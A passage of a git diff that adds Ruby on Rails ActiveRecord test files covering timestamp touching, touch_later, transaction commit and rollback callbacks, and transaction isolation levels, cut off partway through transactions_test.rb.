+
+    assert_not_equal previously_owner_updated_at, pet.owner.updated_at
+  end
+
+  def test_touching_a_record_touches_parent_record_and_grandparent_record
+    klass = Class.new(ActiveRecord::Base) do
+      def self.name; "Toy"; end
+      belongs_to :pet, touch: true
+    end
+
+    toy = klass.first
+    pet = toy.pet
+    owner = pet.owner
+    time = 3.days.ago
+
+    owner.update_columns(updated_at: time)
+    toy.touch
+    owner.reload
+
+    assert_not_equal time, owner.updated_at
+  end
+
+  def test_touching_a_record_touches_polymorphic_record
+    klass = Class.new(ActiveRecord::Base) do
+      def self.name; "Toy"; end
+    end
+
+    wheel_klass = Class.new(ActiveRecord::Base) do
+      def self.name; "Wheel"; end
+      belongs_to :wheelable, polymorphic: true, touch: true
+    end
+
+    toy = klass.first
+    time = 3.days.ago
+    toy.update_columns(updated_at: time)
+
+    wheel = wheel_klass.new
+    wheel.wheelable = toy
+    wheel.save
+    wheel.touch
+
+    assert_not_equal time, toy.updated_at
+  end
+
+  def test_changing_parent_of_a_record_touches_both_new_and_old_parent_record
+    klass = Class.new(ActiveRecord::Base) do
+      def self.name; "Toy"; end
+      belongs_to :pet, touch: true
+    end
+
+    toy1 = klass.find(1)
+    old_pet = toy1.pet
+
+    toy2 = klass.find(2)
+    new_pet = toy2.pet
+    time = 3.days.ago.at_beginning_of_hour
+
+    old_pet.update_columns(updated_at: time)
+    new_pet.update_columns(updated_at: time)
+
+    toy1.pet = new_pet
+    toy1.save!
+
+    old_pet.reload
+    new_pet.reload
+
+    assert_not_equal time, new_pet.updated_at
+    assert_not_equal time, old_pet.updated_at
+  end
+
+  def test_changing_parent_of_a_record_touches_both_new_and_old_polymorphic_parent_record_changes_within_same_class
+    car_class = Class.new(ActiveRecord::Base) do
+      def self.name; "Car"; end
+    end
+
+    wheel_class = Class.new(ActiveRecord::Base) do
+      def self.name; "Wheel"; end
+      belongs_to :wheelable, polymorphic: true, touch: true
+    end
+
+    car1 = car_class.find(1)
+    car2 = car_class.find(2)
+
+    wheel = wheel_class.create!(wheelable: car1)
+
+    time = 3.days.ago.at_beginning_of_hour
+
+    car1.update_columns(updated_at: time)
+    car2.update_columns(updated_at: time)
+
+    wheel.wheelable = car2
+    wheel.save!
+
+    assert_not_equal time, car1.reload.updated_at
+    assert_not_equal time, car2.reload.updated_at
+  end
+
+  def test_changing_parent_of_a_record_touches_both_new_and_old_polymorphic_parent_record_changes_with_other_class
+    car_class = Class.new(ActiveRecord::Base) do
+      def self.name; "Car"; end
+    end
+
+    toy_class = Class.new(ActiveRecord::Base) do
+      def self.name; "Toy"; end
+    end
+
+    wheel_class = Class.new(ActiveRecord::Base) do
+      def self.name; "Wheel"; end
+      belongs_to :wheelable, polymorphic: true, touch: true
+    end
+
+    car = car_class.find(1)
+    toy = toy_class.find(3)
+
+    wheel = wheel_class.create!(wheelable: car)
+
+    time = 3.days.ago.at_beginning_of_hour
+
+    car.update_columns(updated_at: time)
+    toy.update_columns(updated_at: time)
+
+    wheel.wheelable = toy
+    wheel.save!
+
+    assert_not_equal time, car.reload.updated_at
+    assert_not_equal time, toy.reload.updated_at
+  end
+
+  def test_clearing_association_touches_the_old_record
+    klass = Class.new(ActiveRecord::Base) do
+      def self.name; "Toy"; end
+      belongs_to :pet, touch: true
+    end
+
+    toy = klass.find(1)
+    pet = toy.pet
+    time = 3.days.ago.at_beginning_of_hour
+
+    pet.update_columns(updated_at: time)
+
+    toy.pet = nil
+    toy.save!
+
+    pet.reload
+
+    assert_not_equal time, pet.updated_at
+  end
+
+  def test_timestamp_column_values_are_present_in_the_callbacks
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "people"
+
+      before_create do
+        self.born_at = created_at
+      end
+    end
+
+    person = klass.create first_name: "David"
+    assert_not_equal person.born_at, nil
+  end
+
+  def test_timestamp_attributes_for_create_in_model
+    toy = Toy.first
+    assert_equal ["created_at"], toy.send(:timestamp_attributes_for_create_in_model)
+  end
+
+  def test_timestamp_attributes_for_update_in_model
+    toy = Toy.first
+    assert_equal ["updated_at"], toy.send(:timestamp_attributes_for_update_in_model)
+  end
+
+  def test_all_timestamp_attributes_in_model
+    toy = Toy.first
+    assert_equal ["created_at", "updated_at"], toy.send(:all_timestamp_attributes_in_model)
+  end
+
+  def test_index_is_created_for_both_timestamps
+    ActiveRecord::Base.connection.create_table(:foos, force: true) do |t|
+      t.timestamps null: true, index: true
+    end
+
+    indexes = ActiveRecord::Base.connection.indexes("foos")
+    assert_equal ["created_at", "updated_at"], indexes.flat_map(&:columns).sort
+  ensure
+    ActiveRecord::Base.connection.drop_table(:foos)
+  end
+end
+
+class TimestampsWithoutTransactionTest < ActiveRecord::TestCase
+  include DdlHelper
+  self.use_transactional_tests = false
+
+  class TimestampAttributePost < ActiveRecord::Base
+    attr_accessor :created_at, :updated_at
+  end
+
+  def test_do_not_write_timestamps_on_save_if_they_are_not_attributes
+    with_example_table ActiveRecord::Base.connection, "timestamp_attribute_posts", "id integer primary key" do
+      post = TimestampAttributePost.new(id: 1)
+      post.save! # should not try to assign and persist created_at, updated_at
+      assert_nil post.created_at
+      assert_nil post.updated_at
+    end
+  end
+end
diff --git a/activerecord/test/cases/touch_later_test.rb b/activerecord/test/cases/touch_later_test.rb
new file mode 100644
index 0000000000..1757031371
--- /dev/null
+++ b/activerecord/test/cases/touch_later_test.rb
@@ -0,0 +1,123 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/invoice"
+require "models/line_item"
+require "models/topic"
+require "models/node"
+require "models/tree"
+
+class TouchLaterTest < ActiveRecord::TestCase
+  fixtures :nodes, :trees
+
+  def test_touch_laster_raise_if_non_persisted
+    invoice = Invoice.new
+    Invoice.transaction do
+      assert_not invoice.persisted?
+      assert_raises(ActiveRecord::ActiveRecordError) do
+        invoice.touch_later
+      end
+    end
+  end
+
+  def test_touch_later_dont_set_dirty_attributes
+    invoice = Invoice.create!
+    invoice.touch_later
+    assert_not invoice.changed?
+  end
+
+  def test_touch_later_respects_no_touching_policy
+    time = Time.now.utc - 25.days
+    topic = Topic.create!(updated_at: time, created_at: time)
+    Topic.no_touching do
+      topic.touch_later
+    end
+    assert_equal time.to_i, topic.updated_at.to_i
+  end
+
+  def test_touch_later_update_the_attributes
+    time = Time.now.utc - 25.days
+    topic = Topic.create!(updated_at: time, created_at: time)
+    assert_equal time.to_i, topic.updated_at.to_i
+    assert_equal time.to_i, topic.created_at.to_i
+
+    Topic.transaction do
+      topic.touch_later(:created_at)
+      assert_not_equal time.to_i, topic.updated_at.to_i
+      assert_not_equal time.to_i, topic.created_at.to_i
+
+      assert_equal time.to_i, topic.reload.updated_at.to_i
+      assert_equal time.to_i, topic.reload.created_at.to_i
+    end
+    assert_not_equal time.to_i, topic.reload.updated_at.to_i
+    assert_not_equal time.to_i, topic.reload.created_at.to_i
+  end
+
+  def test_touch_touches_immediately
+    time = Time.now.utc - 25.days
+    topic = Topic.create!(updated_at: time, created_at: time)
+    assert_equal time.to_i, topic.updated_at.to_i
+    assert_equal time.to_i, topic.created_at.to_i
+
+    Topic.transaction do
+      topic.touch_later(:created_at)
+      topic.touch
+
+      assert_not_equal time, topic.reload.updated_at
+      assert_not_equal time, topic.reload.created_at
+    end
+  end
+
+  def test_touch_later_an_association_dont_autosave_parent
+    time = Time.now.utc - 25.days
+    line_item = LineItem.create!(amount: 1)
+    invoice = Invoice.create!(line_items: [line_item])
+    invoice.touch(time: time)
+
+    Invoice.transaction do
+      line_item.update(amount: 2)
+      assert_equal time.to_i, invoice.reload.updated_at.to_i
+    end
+
+    assert_not_equal time.to_i, invoice.updated_at.to_i
+  end
+
+  def test_touch_touches_immediately_with_a_custom_time
+    time = (Time.now.utc - 25.days).change(nsec: 0)
+    topic = Topic.create!(updated_at: time, created_at: time)
+    assert_equal time, topic.updated_at
+    assert_equal time, topic.created_at
+
+    Topic.transaction do
+      topic.touch_later(:created_at)
+      time = Time.now.utc - 2.days
+      topic.touch(time: time)
+
+      assert_equal time.to_i, topic.reload.updated_at.to_i
+      assert_equal time.to_i, topic.reload.created_at.to_i
+    end
+  end
+
+  def test_touch_later_dont_hit_the_db
+    invoice = Invoice.create!
+    assert_queries(0) do
+      invoice.touch_later
+    end
+  end
+
+  def test_touching_three_deep
+    previous_tree_updated_at        = trees(:root).updated_at
+    previous_grandparent_updated_at = nodes(:grandparent).updated_at
+    previous_parent_updated_at      = nodes(:parent_a).updated_at
+    previous_child_updated_at       = nodes(:child_one_of_a).updated_at
+
+    travel 5.seconds do
+      Node.create! parent: nodes(:child_one_of_a), tree: trees(:root)
+    end
+
+    assert_not_equal nodes(:child_one_of_a).reload.updated_at, previous_child_updated_at
+    assert_not_equal nodes(:parent_a).reload.updated_at, previous_parent_updated_at
+    assert_not_equal nodes(:grandparent).reload.updated_at, previous_grandparent_updated_at
+    assert_not_equal trees(:root).reload.updated_at, previous_tree_updated_at
+  end
+end
diff --git a/activerecord/test/cases/transaction_callbacks_test.rb b/activerecord/test/cases/transaction_callbacks_test.rb
new file mode 100644
index 0000000000..1f370a80ee
--- /dev/null
+++ b/activerecord/test/cases/transaction_callbacks_test.rb
@@ -0,0 +1,595 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/owner"
+require "models/pet"
+require "models/topic"
+
+class TransactionCallbacksTest < ActiveRecord::TestCase
+  fixtures :topics, :owners, :pets
+
+  class ReplyWithCallbacks < ActiveRecord::Base
+    self.table_name = :topics
+
+    belongs_to :topic, foreign_key: "parent_id"
+
+    validates_presence_of :content
+
+    after_commit :do_after_commit, on: :create
+
+    attr_accessor :save_on_after_create
+    after_create do
+      save! if save_on_after_create
+    end
+
+    def history
+      @history ||= []
+    end
+
+    def do_after_commit
+      history << :commit_on_create
+    end
+  end
+
+  class TopicWithCallbacks < ActiveRecord::Base
+    self.table_name = :topics
+
+    has_many :replies, class_name: "ReplyWithCallbacks", foreign_key: "parent_id"
+
+    before_commit { |record| record.do_before_commit(nil) }
+    after_commit { |record| record.do_after_commit(nil) }
+    after_create_commit { |record| record.do_after_commit(:create) }
+    after_update_commit { |record| record.do_after_commit(:update) }
+    after_destroy_commit { |record| record.do_after_commit(:destroy) }
+    after_rollback { |record| record.do_after_rollback(nil) }
+    after_rollback(on: :create) { |record| record.do_after_rollback(:create) }
+    after_rollback(on: :update) { |record| record.do_after_rollback(:update) }
+    after_rollback(on: :destroy) { |record| record.do_after_rollback(:destroy) }
+
+    def history
+      @history ||= []
+    end
+
+    def before_commit_block(on = nil, &block)
+      @before_commit ||= {}
+      @before_commit[on] ||= []
+      @before_commit[on] << block
+    end
+
+    def after_commit_block(on = nil, &block)
+      @after_commit ||= {}
+      @after_commit[on] ||= []
+      @after_commit[on] << block
+    end
+
+    def after_rollback_block(on = nil, &block)
+      @after_rollback ||= {}
+      @after_rollback[on] ||= []
+      @after_rollback[on] << block
+    end
+
+    def do_before_commit(on)
+      blocks = @before_commit[on] if defined?(@before_commit)
+      blocks.each { |b| b.call(self) } if blocks
+    end
+
+    def do_after_commit(on)
+      blocks = @after_commit[on] if defined?(@after_commit)
+      blocks.each { |b| b.call(self) } if blocks
+    end
+
+    def do_after_rollback(on)
+      blocks = @after_rollback[on] if defined?(@after_rollback)
+      blocks.each { |b| b.call(self) } if blocks
+    end
+  end
+
+  def setup
+    @first = TopicWithCallbacks.find(1)
+  end
+
+  # FIXME: Test behavior, not implementation.
+  def test_before_commit_exception_should_pop_transaction_stack
+    @first.before_commit_block { raise "better pop this txn from the stack!" }
+
+    original_txn = @first.class.connection.current_transaction
+
+    begin
+      @first.save!
+      fail
+    rescue
+      assert_equal original_txn, @first.class.connection.current_transaction
+    end
+  end
+
+  def test_call_after_commit_after_transaction_commits
+    @first.after_commit_block { |r| r.history << :after_commit }
+    @first.after_rollback_block { |r| r.history << :after_rollback }
+
+    @first.save!
+    assert_equal [:after_commit], @first.history
+  end
+
+  def test_only_call_after_commit_on_update_after_transaction_commits_for_existing_record
+    add_transaction_execution_blocks @first
+
+    @first.save!
+    assert_equal [:commit_on_update], @first.history
+  end
+
+  def test_only_call_after_commit_on_destroy_after_transaction_commits_for_destroyed_record
+    add_transaction_execution_blocks @first
+
+    @first.destroy
+    assert_equal [:commit_on_destroy], @first.history
+  end
+
+  def test_only_call_after_commit_on_create_after_transaction_commits_for_new_record
+    new_record = TopicWithCallbacks.new(title: "New topic", written_on: Date.today)
+    add_transaction_execution_blocks new_record
+
+    new_record.save!
+    assert_equal [:commit_on_create], new_record.history
+  end
+
+  def test_only_call_after_commit_on_create_after_transaction_commits_for_new_record_if_create_succeeds_creating_through_association
+    topic = TopicWithCallbacks.create!(title: "New topic", written_on: Date.today)
+    reply = topic.replies.create
+
+    assert_equal [], reply.history
+  end
+
+  def test_only_call_after_commit_on_create_and_doesnt_leaky
+    r = ReplyWithCallbacks.new(content: "foo")
+    r.save_on_after_create = true
+    r.save!
+    r.content = "bar"
+    r.save!
+    r.save!
+    assert_equal [:commit_on_create], r.history
+  end
+
+  def test_only_call_after_commit_on_update_after_transaction_commits_for_existing_record_on_touch
+    add_transaction_execution_blocks @first
+
+    @first.touch
+    assert_equal [:commit_on_update], @first.history
+  end
+
+  def test_only_call_after_commit_on_top_level_transactions
+    @first.after_commit_block { |r| r.history << :after_commit }
+    assert @first.history.empty?
+
+    @first.transaction do
+      @first.transaction(requires_new: true) do
+        @first.touch
+      end
+      assert @first.history.empty?
+    end
+    assert_equal [:after_commit], @first.history
+  end
+
+  def test_call_after_rollback_after_transaction_rollsback
+    @first.after_commit_block { |r| r.history << :after_commit }
+    @first.after_rollback_block { |r| r.history << :after_rollback }
+
+    Topic.transaction do
+      @first.save!
+      raise ActiveRecord::Rollback
+    end
+
+    assert_equal [:after_rollback], @first.history
+  end
+
+  def test_only_call_after_rollback_on_update_after_transaction_rollsback_for_existing_record
+    add_transaction_execution_blocks @first
+
+    Topic.transaction do
+      @first.save!
+      raise ActiveRecord::Rollback
+    end
+
+    assert_equal [:rollback_on_update], @first.history
+  end
+
+  def test_only_call_after_rollback_on_update_after_transaction_rollsback_for_existing_record_on_touch
+    add_transaction_execution_blocks @first
+
+    Topic.transaction do
+      @first.touch
+      raise ActiveRecord::Rollback
+    end
+
+    assert_equal [:rollback_on_update], @first.history
+  end
+
+  def test_only_call_after_rollback_on_destroy_after_transaction_rollsback_for_destroyed_record
+    add_transaction_execution_blocks @first
+
+    Topic.transaction do
+      @first.destroy
+      raise ActiveRecord::Rollback
+    end
+
+    assert_equal [:rollback_on_destroy], @first.history
+  end
+
+  def test_only_call_after_rollback_on_create_after_transaction_rollsback_for_new_record
+    new_record = TopicWithCallbacks.new(title: "New topic", written_on: Date.today)
+    add_transaction_execution_blocks new_record
+
+    Topic.transaction do
+      new_record.save!
+      raise ActiveRecord::Rollback
+    end
+
+    assert_equal [:rollback_on_create], new_record.history
+  end
+
+  def test_call_after_rollback_when_commit_fails
+    @first.after_commit_block { |r| r.history << :after_commit }
+    @first.after_rollback_block { |r| r.history << :after_rollback }
+
+    assert_raises RuntimeError do
+      @first.transaction do
+        tx = @first.class.connection.transaction_manager.current_transaction
+        def tx.commit
+          raise
+        end
+
+        @first.save
+      end
+    end
+
+    assert_equal [:after_rollback], @first.history
+  end
+
+  def test_only_call_after_rollback_on_records_rolled_back_to_a_savepoint
+    def @first.rollbacks(i = 0); @rollbacks ||= 0; @rollbacks += i if i; end
+    def @first.commits(i = 0); @commits ||= 0; @commits += i if i; end
+    @first.after_rollback_block { |r| r.rollbacks(1) }
+    @first.after_commit_block { |r| r.commits(1) }
+
+    second = TopicWithCallbacks.find(3)
+    def second.rollbacks(i = 0); @rollbacks ||= 0; @rollbacks += i if i; end
+    def second.commits(i = 0); @commits ||= 0; @commits += i if i; end
+    second.after_rollback_block { |r| r.rollbacks(1) }
+    second.after_commit_block { |r| r.commits(1) }
+
+    Topic.transaction do
+      @first.save!
+      Topic.transaction(requires_new: true) do
+        second.save!
+        raise ActiveRecord::Rollback
+      end
+    end
+
+    assert_equal 1, @first.commits
+    assert_equal 0, @first.rollbacks
+    assert_equal 0, second.commits
+    assert_equal 1, second.rollbacks
+  end
+
+  def test_only_call_after_rollback_on_records_rolled_back_to_a_savepoint_when_release_savepoint_fails
+    def @first.rollbacks(i = 0); @rollbacks ||= 0; @rollbacks += i if i; end
+    def @first.commits(i = 0); @commits ||= 0; @commits += i if i; end
+
+    @first.after_rollback_block { |r| r.rollbacks(1) }
+    @first.after_commit_block { |r| r.commits(1) }
+
+    Topic.transaction do
+      @first.save
+      Topic.transaction(requires_new: true) do
+        @first.save!
+        raise ActiveRecord::Rollback
+      end
+      Topic.transaction(requires_new: true) do
+        @first.save!
+        raise ActiveRecord::Rollback
+      end
+    end
+
+    assert_equal 1, @first.commits
+    assert_equal 2, @first.rollbacks
+  end
+
+  def test_after_commit_callback_should_not_swallow_errors
+    @first.after_commit_block { fail "boom" }
+    assert_raises(RuntimeError) do
+      Topic.transaction do
+        @first.save!
+      end
+    end
+  end
+
+  def test_after_commit_callback_when_raise_should_not_restore_state
+    first = TopicWithCallbacks.new
+    second = TopicWithCallbacks.new
+    first.after_commit_block { fail "boom" }
+    second.after_commit_block { fail "boom" }
+
+    begin
+      Topic.transaction do
+        first.save!
+        assert_not_nil first.id
+        second.save!
+        assert_not_nil second.id
+      end
+    rescue
+    end
+    assert_not_nil first.id
+    assert_not_nil second.id
+    assert first.reload
+  end
+
+  def test_after_rollback_callback_should_not_swallow_errors_when_set_to_raise
+    error_class = Class.new(StandardError)
+    @first.after_rollback_block { raise error_class }
+    assert_raises(error_class) do
+      Topic.transaction do
+        @first.save!
+        raise ActiveRecord::Rollback
+      end
+    end
+  end
+
+  def test_after_rollback_callback_when_raise_should_restore_state
+    error_class = Class.new(StandardError)
+
+    first = TopicWithCallbacks.new
+    second = TopicWithCallbacks.new
+    first.after_rollback_block { raise error_class }
+    second.after_rollback_block { raise error_class }
+
+    begin
+      Topic.transaction do
+        first.save!
+        assert_not_nil first.id
+        second.save!
+        assert_not_nil second.id
+        raise ActiveRecord::Rollback
+      end
+    rescue error_class
+    end
+    assert_nil first.id
+    assert_nil second.id
+  end
+
+  def test_after_rollback_callbacks_should_validate_on_condition
+    assert_raise(ArgumentError) { Topic.after_rollback(on: :save) }
+    e = assert_raise(ArgumentError) { Topic.after_rollback(on: "create") }
+    assert_match(/:on conditions for after_commit and after_rollback callbacks have to be one of \[:create, :destroy, :update\]/, e.message)
+  end
+
+  def test_after_commit_callbacks_should_validate_on_condition
+    assert_raise(ArgumentError) { Topic.after_commit(on: :save) }
+    e = assert_raise(ArgumentError) { Topic.after_commit(on: "create") }
+    assert_match(/:on conditions for after_commit and after_rollback callbacks have to be one of \[:create, :destroy, :update\]/, e.message)
+  end
+
+  def test_saving_a_record_with_a_belongs_to_that_specifies_touching_the_parent_should_call_callbacks_on_the_parent_object
+    pet   = Pet.first
+    owner = pet.owner
+    flag = false
+
+    owner.on_after_commit do
+      flag = true
+    end
+
+    pet.name = "Fluffy the Third"
+    pet.save
+
+    assert flag
+  end
+
+  private
+
+    def add_transaction_execution_blocks(record)
+      record.after_commit_block(:create) { |r| r.history << :commit_on_create }
+      record.after_commit_block(:update) { |r| r.history << :commit_on_update }
+      record.after_commit_block(:destroy) { |r| r.history << :commit_on_destroy }
+      record.after_rollback_block(:create) { |r| r.history << :rollback_on_create }
+      record.after_rollback_block(:update) { |r| r.history << :rollback_on_update }
+      record.after_rollback_block(:destroy) { |r| r.history << :rollback_on_destroy }
+    end
+end
+
+class CallbacksOnMultipleActionsTest < ActiveRecord::TestCase
+  self.use_transactional_tests = false
+
+  class TopicWithCallbacksOnMultipleActions < ActiveRecord::Base
+    self.table_name = :topics
+
+    after_commit(on: [:create, :destroy]) { |record| record.history << :create_and_destroy }
+    after_commit(on: [:create, :update]) { |record| record.history << :create_and_update }
+    after_commit(on: [:update, :destroy]) { |record| record.history << :update_and_destroy }
+
+    before_commit(if: :save_before_commit_history) { |record| record.history << :before_commit }
+    before_commit(if: :update_title) { |record| record.update(title: "before commit title") }
+
+    def clear_history
+      @history = []
+    end
+
+    def history
+      @history ||= []
+    end
+
+    attr_accessor :save_before_commit_history, :update_title
+  end
+
+  def test_after_commit_on_multiple_actions
+    topic = TopicWithCallbacksOnMultipleActions.new
+    topic.save
+    assert_equal [:create_and_update, :create_and_destroy], topic.history
+
+    topic.clear_history
+    topic.approved = true
+    topic.save
+    assert_equal [:update_and_destroy, :create_and_update], topic.history
+
+    topic.clear_history
+    topic.destroy
+    assert_equal [:update_and_destroy, :create_and_destroy], topic.history
+  end
+
+  def test_before_commit_actions
+    topic = TopicWithCallbacksOnMultipleActions.new
+    topic.save_before_commit_history = true
+    topic.save
+
+    assert_equal [:before_commit, :create_and_update, :create_and_destroy], topic.history
+  end
+
+  def test_before_commit_update_in_same_transaction
+    topic = TopicWithCallbacksOnMultipleActions.new
+    topic.update_title = true
+    topic.save
+
+    assert_equal "before commit title", topic.title
+    assert_equal "before commit title", topic.reload.title
+  end
+end
+
+class CallbacksOnDestroyUpdateActionRaceTest < ActiveRecord::TestCase
+  class TopicWithHistory < ActiveRecord::Base
+    self.table_name = :topics
+
+    def self.clear_history
+      @@history = []
+    end
+
+    def self.history
+      @@history ||= []
+    end
+  end
+
+  class TopicWithCallbacksOnDestroy < TopicWithHistory
+    after_commit(on: :destroy) { |record| record.class.history << :destroy }
+  end
+
+  class TopicWithCallbacksOnUpdate < TopicWithHistory
+    after_commit(on: :update) { |record| record.class.history << :update }
+  end
+
+  def test_trigger_once_on_multiple_deletions
+    TopicWithCallbacksOnDestroy.clear_history
+    topic = TopicWithCallbacksOnDestroy.new
+    topic.save
+    topic_clone = TopicWithCallbacksOnDestroy.find(topic.id)
+    topic.destroy
+    topic_clone.destroy
+
+    assert_equal [:destroy], TopicWithCallbacksOnDestroy.history
+  end
+
+  def test_trigger_on_update_where_row_was_deleted
+    TopicWithCallbacksOnUpdate.clear_history
+    topic = TopicWithCallbacksOnUpdate.new
+    topic.save
+    topic_clone = TopicWithCallbacksOnUpdate.find(topic.id)
+    topic.destroy
+    topic_clone.author_name = "Test Author"
+    topic_clone.save
+
+    assert_equal [], TopicWithCallbacksOnUpdate.history
+  end
+end
+
+class TransactionEnrollmentCallbacksTest < ActiveRecord::TestCase
+  class TopicWithoutTransactionalEnrollmentCallbacks < ActiveRecord::Base
+    self.table_name = :topics
+
+    before_commit_without_transaction_enrollment { |r| r.history << :before_commit }
+    after_commit_without_transaction_enrollment { |r| r.history << :after_commit }
+    after_rollback_without_transaction_enrollment { |r| r.history << :rollback }
+
+    def history
+      @history ||= []
+    end
+  end
+
+  def setup
+    @topic = TopicWithoutTransactionalEnrollmentCallbacks.create!
+  end
+
+  def test_commit_does_not_run_transactions_callbacks_without_enrollment
+    @topic.transaction do
+      @topic.content = "foo"
+      @topic.save!
+    end
+    assert @topic.history.empty?
+  end
+
+  def test_commit_run_transactions_callbacks_with_explicit_enrollment
+    @topic.transaction do
+      2.times do
+        @topic.content = "foo"
+        @topic.save!
+      end
+      @topic.class.connection.add_transaction_record(@topic)
+    end
+    assert_equal [:before_commit, :after_commit], @topic.history
+  end
+
+  def test_rollback_does_not_run_transactions_callbacks_without_enrollment
+    @topic.transaction do
+      @topic.content = "foo"
+      @topic.save!
+      raise ActiveRecord::Rollback
+    end
+    assert @topic.history.empty?
+  end
+
+  def test_rollback_run_transactions_callbacks_with_explicit_enrollment
+    @topic.transaction do
+      2.times do
+        @topic.content = "foo"
+        @topic.save!
+      end
+      @topic.class.connection.add_transaction_record(@topic)
+      raise ActiveRecord::Rollback
+    end
+    assert_equal [:rollback], @topic.history
+  end
+end
+
+class CallbacksOnActionAndConditionTest < ActiveRecord::TestCase
+  self.use_transactional_tests = false
+
+  class TopicWithCallbacksOnActionAndCondition < ActiveRecord::Base
+    self.table_name = :topics
+
+    after_commit(on: [:create, :update], if: :run_callback?) { |record| record.history << :create_or_update }
+
+    def clear_history
+      @history = []
+    end
+
+    def history
+      @history ||= []
+    end
+
+    def run_callback?
+      self.history << :run_callback?
+      true
+    end
+
+    attr_accessor :save_before_commit_history, :update_title
+  end
+
+  def test_callback_on_action_with_condition
+    topic = TopicWithCallbacksOnActionAndCondition.new
+    topic.save
+    assert_equal [:run_callback?, :create_or_update], topic.history
+
+    topic.clear_history
+    topic.approved = true
+    topic.save
+    assert_equal [:run_callback?, :create_or_update], topic.history
+
+    topic.clear_history
+    topic.destroy
+    assert_equal [], topic.history
+  end
+end
diff --git a/activerecord/test/cases/transaction_isolation_test.rb b/activerecord/test/cases/transaction_isolation_test.rb
new file mode 100644
index 0000000000..b1ebccdcc3
--- /dev/null
+++ b/activerecord/test/cases/transaction_isolation_test.rb
@@ -0,0 +1,108 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+unless ActiveRecord::Base.connection.supports_transaction_isolation?
+  class TransactionIsolationUnsupportedTest < ActiveRecord::TestCase
+    self.use_transactional_tests = false
+
+    class Tag < ActiveRecord::Base
+    end
+
+    test "setting the isolation level raises an error" do
+      assert_raises(ActiveRecord::TransactionIsolationError) do
+        Tag.transaction(isolation: :serializable) {}
+      end
+    end
+  end
+end
+
+if ActiveRecord::Base.connection.supports_transaction_isolation?
+  class TransactionIsolationTest < ActiveRecord::TestCase
+    self.use_transactional_tests = false
+
+    class Tag < ActiveRecord::Base
+      self.table_name = "tags"
+    end
+
+    class Tag2 < ActiveRecord::Base
+      self.table_name = "tags"
+    end
+
+    setup do
+      Tag.establish_connection :arunit
+      Tag2.establish_connection :arunit
+      Tag.destroy_all
+    end
+
+    # It is impossible to properly test read uncommitted. The SQL standard only
+    # specifies what must not happen at a certain level, not what must happen. At
+    # the read uncommitted level, there is nothing that must not happen.
+    if ActiveRecord::Base.connection.transaction_isolation_levels.include?(:read_uncommitted)
+      test "read uncommitted" do
+        Tag.transaction(isolation: :read_uncommitted) do
+          assert_equal 0, Tag.count
+          Tag2.create
+          assert_equal 1, Tag.count
+        end
+      end
+    end
+
+    # We are testing that a dirty read does not happen
+    test "read committed" do
+      Tag.transaction(isolation: :read_committed) do
+        assert_equal 0, Tag.count
+
+        Tag2.transaction do
+          Tag2.create
+          assert_equal 0, Tag.count
+        end
+      end
+
+      assert_equal 1, Tag.count
+    end
+
+    # We are testing that a nonrepeatable read does not happen
+    if ActiveRecord::Base.connection.transaction_isolation_levels.include?(:repeatable_read)
+      test "repeatable read" do
+        tag = Tag.create(name: "jon")
+
+        Tag.transaction(isolation: :repeatable_read) do
+          tag.reload
+          Tag2.find(tag.id).update(name: "emily")
+
+          tag.reload
+          assert_equal "jon", tag.name
+        end
+
+        tag.reload
+        assert_equal "emily", tag.name
+      end
+    end
+
+    # We are only testing that there are no errors because it's too hard to
+    # test serializable. Databases behave differently to enforce the serializability
+    # constraint.
+    test "serializable" do
+      Tag.transaction(isolation: :serializable) do
+        Tag.create
+      end
+    end
+
+    test "setting isolation when joining a transaction raises an error" do
+      Tag.transaction do
+        assert_raises(ActiveRecord::TransactionIsolationError) do
+          Tag.transaction(isolation: :serializable) {}
+        end
+      end
+    end
+
+    test "setting isolation when starting a nested transaction raises error" do
+      Tag.transaction do
+        assert_raises(ActiveRecord::TransactionIsolationError) do
+          Tag.transaction(requires_new: true, isolation: :serializable) {}
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/transactions_test.rb b/activerecord/test/cases/transactions_test.rb
new file mode 100644
index 0000000000..b771a1d12c
--- /dev/null
+++ b/activerecord/test/cases/transactions_test.rb
@@ -0,0 +1,984 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/topic"
+require "models/reply"
+require "models/developer"
+require "models/computer"
+require "models/book"
+require "models/author"
+require "models/post"
+require "models/movie"
+
+class TransactionTest < ActiveRecord::TestCase
+  self.use_transactional_tests = false
+  fixtures :topics, :developers, :authors, :author_addresses, :posts
+
+  def setup
+    @first, @second = Topic.find(1, 2).sort_by(&:id)
+  end
+
+  def test_persisted_in_a_model_with_custom_primary_key_after_failed_save
+    movie = Movie.create
+    assert !movie.persisted?
+  end
+
+  def test_raise_after_destroy
+    assert_not @first.frozen?
+
+    assert_raises(RuntimeError) {
+      Topic.transaction do
+        @first.destroy
+        assert @first.frozen?
+        raise
+      end
+    }
+
+    assert @first.reload
+    assert_not @first.frozen?
+  end
+
+  def test_successful
+    Topic.transaction do
+      @first.approved  = true
+      @second.approved = false
+      @first.save
+      @second.save
+    end
+
+    assert Topic.find(1).approved?, "First should have been approved"
+    assert !Topic.find(2).approved?, "Second should have been unapproved"
+  end
+
+  def transaction_with_return
+    Topic.transaction do
+      @first.approved  = true
+      @second.approved = false
+      @first.save
+      @second.save
+      return
+    end
+  end
+
+  def test_add_to_null_transaction
+    topic = Topic.new
+    topic.add_to_transaction
+  end
+
+  def test_successful_with_return
+    committed = false
+
+    Topic.connection.class_eval do
+      alias :real_commit_db_transaction :commit_db_transaction
+      define_method(:commit_db_transaction) do
+        committed = true
+        real_commit_db_transaction
+      end
+    end
+
+    transaction_with_return
+    assert committed
+
+    assert Topic.find(1).approved?, "First should have been approved"
+    assert !Topic.find(2).approved?, "Second should have been unapproved"
+  ensure
+    Topic.connection.class_eval do
+      remove_method :commit_db_transaction
+      alias :commit_db_transaction :real_commit_db_transaction rescue nil
+    end
+  end
+
+  def test_number_of_transactions_in_commit
+    num = nil
+
+    Topic.connection.class_eval do
+      alias :real_commit_db_transaction :commit_db_transaction
+      define_method(:commit_db_transaction) do
+        num = transaction_manager.open_transactions
+        real_commit_db_transaction
+      end
+    end
+
+    Topic.transaction do
+      @first.approved = true
+      @first.save!
+    end
+
+    assert_equal 0, num
+  ensure
+    Topic.connection.class_eval do
+      remove_method :commit_db_transaction
